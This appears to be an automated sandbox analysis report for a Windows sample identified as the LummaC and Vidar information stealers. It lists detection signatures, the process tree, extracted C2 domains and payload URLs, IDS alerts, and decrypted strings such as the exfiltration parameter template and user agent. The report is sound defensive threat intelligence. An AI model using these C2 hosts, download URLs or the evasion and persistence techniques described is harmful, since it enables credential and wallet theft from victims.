Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1518570
MD5:	8b0b12811b60a92a72b636a46fadb0ba
SHA1:	0ab6b31b69b7964de2e9639169d036c68f9efd76
SHA256:	1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2452 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 8B0B12811B60A92A72B636A46FADB0BA)

conhost.exe (PID: 1984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 2964 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

KKEBKJJDGH.exe (PID: 3496 cmdline: "C:\ProgramData\KKEBKJJDGH.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

MFDBG.exe (PID: 7060 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

FDWDZ.exe (PID: 2920 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

EBGDHJECFC.exe (PID: 5696 cmdline: "C:\ProgramData\EBGDHJECFC.exe" MD5: 0CEE1D66332DEC523210F62E479284B9)

conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 5980 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cmd.exe (PID: 3816 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5892 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

MFDBG.exe (PID: 5776 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

WerFault.exe (PID: 2232 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 944 MD5: C31336C1EFC2CCB44B4326EA793040F2)

MFDBG.exe (PID: 180 cmdline: "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe" MD5: 168087C84C5FF3664E5E2F4EEC18D7DD)

WerFault.exe (PID: 2860 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 180 -s 948 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["gutterydhowi.shop", "vozmeatillu.shop", "drawzhotdog.shop", "reinforcenh.shop", "ghostreedmnu.shop", "fragnantbui.shop", "offensivedzvju.shop", "stogeneratmns.shop"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "9bf5e431869643a2ac397d2dc0d687fb"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 2452	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2452	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2452	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegAsm.exe PID: 2964	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2964	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegAsm.exe PID: 2964	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2964	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.3a95570.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.3a95570.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.3a95570.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.3a95570.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.RegAsm.exe.400000.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
3.2.RegAsm.exe.400000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
3.2.RegAsm.exe.400000.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe, EventID: 13, EventType: SetValue, Image: C:\ProgramData\KKEBKJJDGH.exe, ProcessId: 3496, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MFDBG_ccd2458d6ac54884ba6051fba5e93da0

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe, EventID: 13, EventType: SetValue, Image: C:\ProgramData\KKEBKJJDGH.exe, ProcessId: 3496, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MFDBG_ccd2458d6ac54884ba6051fba5e93da0

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\ProgramData\KKEBKJJDGH.exe, ProcessId: 3496, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87779c3eda7e4f0b90f03be30674b854.lnk

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:49:21.136999+0200	2028765	3	Unknown Traffic	192.168.2.5	49711	5.75.211.162	443	TCP
2024-09-25T20:49:22.491246+0200	2028765	3	Unknown Traffic	192.168.2.5	49712	5.75.211.162	443	TCP
2024-09-25T20:49:23.845930+0200	2028765	3	Unknown Traffic	192.168.2.5	49713	5.75.211.162	443	TCP
2024-09-25T20:49:25.338035+0200	2028765	3	Unknown Traffic	192.168.2.5	49716	5.75.211.162	443	TCP
2024-09-25T20:49:26.695148+0200	2028765	3	Unknown Traffic	192.168.2.5	49718	5.75.211.162	443	TCP
2024-09-25T20:49:28.148235+0200	2028765	3	Unknown Traffic	192.168.2.5	49719	5.75.211.162	443	TCP
2024-09-25T20:49:29.150359+0200	2028765	3	Unknown Traffic	192.168.2.5	49720	5.75.211.162	443	TCP
2024-09-25T20:49:32.332650+0200	2028765	3	Unknown Traffic	192.168.2.5	49721	5.75.211.162	443	TCP
2024-09-25T20:49:33.427820+0200	2028765	3	Unknown Traffic	192.168.2.5	49722	5.75.211.162	443	TCP
2024-09-25T20:49:34.685045+0200	2028765	3	Unknown Traffic	192.168.2.5	49723	5.75.211.162	443	TCP
2024-09-25T20:49:35.933028+0200	2028765	3	Unknown Traffic	192.168.2.5	49724	5.75.211.162	443	TCP
2024-09-25T20:49:37.744180+0200	2028765	3	Unknown Traffic	192.168.2.5	49725	5.75.211.162	443	TCP
2024-09-25T20:49:39.654390+0200	2028765	3	Unknown Traffic	192.168.2.5	49726	5.75.211.162	443	TCP
2024-09-25T20:49:42.396497+0200	2028765	3	Unknown Traffic	192.168.2.5	49727	5.75.211.162	443	TCP
2024-09-25T20:49:43.937107+0200	2028765	3	Unknown Traffic	192.168.2.5	49728	5.75.211.162	443	TCP
2024-09-25T20:49:45.264457+0200	2028765	3	Unknown Traffic	192.168.2.5	49729	5.75.211.162	443	TCP
2024-09-25T20:49:48.264953+0200	2028765	3	Unknown Traffic	192.168.2.5	49730	5.75.211.162	443	TCP
2024-09-25T20:49:49.898356+0200	2028765	3	Unknown Traffic	192.168.2.5	49731	5.75.211.162	443	TCP
2024-09-25T20:49:51.289908+0200	2028765	3	Unknown Traffic	192.168.2.5	49732	5.75.211.162	443	TCP
2024-09-25T20:49:53.617917+0200	2028765	3	Unknown Traffic	192.168.2.5	49733	5.75.211.162	443	TCP
2024-09-25T20:49:55.951537+0200	2028765	3	Unknown Traffic	192.168.2.5	49734	5.75.211.162	443	TCP
2024-09-25T20:49:58.001164+0200	2028765	3	Unknown Traffic	192.168.2.5	49735	5.75.211.162	443	TCP
2024-09-25T20:50:00.150160+0200	2028765	3	Unknown Traffic	192.168.2.5	49737	5.75.211.162	443	TCP
2024-09-25T20:50:05.211117+0200	2028765	3	Unknown Traffic	192.168.2.5	49739	5.75.211.162	443	TCP
2024-09-25T20:50:07.095960+0200	2028765	3	Unknown Traffic	192.168.2.5	49742	5.75.211.162	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:10.163526+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49746	104.21.58.182	443	TCP
2024-09-25T20:50:13.119749+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T20:50:14.187569+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49748	188.114.97.3	443	TCP
2024-09-25T20:50:15.397544+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49749	188.114.97.3	443	TCP
2024-09-25T20:50:17.933892+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49750	188.114.96.3	443	TCP
2024-09-25T20:50:19.429832+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49751	104.21.58.182	443	TCP
2024-09-25T20:50:20.661658+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T20:50:23.258479+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49754	188.114.96.3	443	TCP
2024-09-25T20:50:25.304678+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49756	104.21.77.130	443	TCP
2024-09-25T20:50:27.990223+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49762	104.21.51.224	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:10.163526+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49746	104.21.58.182	443	TCP
2024-09-25T20:50:13.119749+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49747	172.67.132.32	443	TCP
2024-09-25T20:50:14.187569+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49748	188.114.97.3	443	TCP
2024-09-25T20:50:15.397544+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49749	188.114.97.3	443	TCP
2024-09-25T20:50:17.933892+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49750	188.114.96.3	443	TCP
2024-09-25T20:50:19.429832+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49751	104.21.58.182	443	TCP
2024-09-25T20:50:20.661658+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49752	188.114.97.3	443	TCP
2024-09-25T20:50:23.258479+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49754	188.114.96.3	443	TCP
2024-09-25T20:50:25.304678+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49756	104.21.77.130	443	TCP
2024-09-25T20:50:27.990223+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49762	104.21.51.224	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:09.426811+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.5	49746	104.21.58.182	443	TCP
2024-09-25T20:50:18.948308+0200	2056157	1	Domain Observed Used for C2 Detected	192.168.2.5	49751	104.21.58.182	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:20.056408+0200	2056155	1	Domain Observed Used for C2 Detected	192.168.2.5	49752	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:13.732112+0200	2056163	1	Domain Observed Used for C2 Detected	192.168.2.5	49748	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:11.797675+0200	2056165	1	Domain Observed Used for C2 Detected	192.168.2.5	49747	172.67.132.32	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:14.923785+0200	2056161	1	Domain Observed Used for C2 Detected	192.168.2.5	49749	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:24.724830+0200	2056151	1	Domain Observed Used for C2 Detected	192.168.2.5	49756	104.21.77.130	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:21.784126+0200	2056153	1	Domain Observed Used for C2 Detected	192.168.2.5	49754	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:17.454437+0200	2056159	1	Domain Observed Used for C2 Detected	192.168.2.5	49750	188.114.96.3	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:29.636358+0200	2054495	1	A Network Trojan was detected	192.168.2.5	49745	45.132.206.251	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:08.936631+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.5	63337	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:19.533698+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.5	50295	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:13.222928+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.5	56512	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:10.492098+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.5	63087	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:14.384183+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.5	55767	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:23.741943+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.5	54607	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:21.183860+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.5	54644	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:50:15.858641+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.5	53002	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:49:26.028947+0200	2044247	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.5	49716	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:49:27.394438+0200	2051831	1	Malware Command and Control Activity Detected	5.75.211.162	443	192.168.2.5	49718	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:49:27.393872+0200	2049087	1	A Network Trojan was detected	192.168.2.5	49718	5.75.211.162	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T20:49:59.306968+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	49736	147.45.44.104	80	TCP
2024-09-25T20:50:01.391853+0200	2803270	2	Potentially Bad Traffic	192.168.2.5	49736	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: reinforcenh.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data;	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1208948http://147.45.44.104/prog/66f4247d5181	Avira URL Cloud: Label: malware
Source: stogeneratmns.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869/badges	Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api	Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop	Avira URL Cloud: Label: malware
Source: https://t.me/ae5ed	Avira URL Cloud: Label: malware
Source: https://performenj.shop/	Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api	Avira URL Cloud: Label: malware
Source: fragnantbui.shop	Avira URL Cloud: Label: malware
Source: offensivedzvju.shop	Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api	Avira URL Cloud: Label: malware
Source: drawzhotdog.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe	Avira URL Cloud: Label: malware
Source: vozmeatillu.shop	Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "9bf5e431869643a2ac397d2dc0d687fb"}
Source: 13.2.RegAsm.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["gutterydhowi.shop", "vozmeatillu.shop", "drawzhotdog.shop", "reinforcenh.shop", "ghostreedmnu.shop", "fragnantbui.shop", "offensivedzvju.shop", "stogeneratmns.shop"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\EBGDHJECFC.exe	ReversingLabs: Detection: 34%
Source: C:\ProgramData\KKEBKJJDGH.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	ReversingLabs: Detection: 20%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\KKEBKJJDGH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: reinforcenh.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: stogeneratmns.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: fragnantbui.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: drawzhotdog.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: vozmeatillu.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: offensivedzvju.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: ghostreedmnu.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: gutterydhowi.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: drawzhotdog.shop
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 13.2.RegAsm.exe.400000.0.unpack	String decryptor: TeslaBrowser/5.5
